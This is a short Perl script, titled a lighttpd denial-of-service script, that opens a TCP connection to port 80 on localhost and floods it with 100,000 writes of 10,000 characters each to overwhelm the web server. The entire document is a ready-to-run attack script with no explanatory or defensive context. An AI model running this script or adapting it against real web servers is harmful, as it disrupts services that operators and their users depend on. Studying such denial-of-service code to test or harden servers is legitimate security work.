#!/usr/bin/perl

# lighttpd DoS script (c) viktors@rotanovs.com

use IO::Socket::INET;

$| = 1;

$sock = IO::Socket::INET->new(
	PeerAddr => '127.0.0.1',
	PeerPort => 'http(80)',
	Proto    => 'tcp');

binmode $sock;
for($i = 0; $i < 100000; $i++) {
	print $sock '\0' x 10000;
}
close $sock;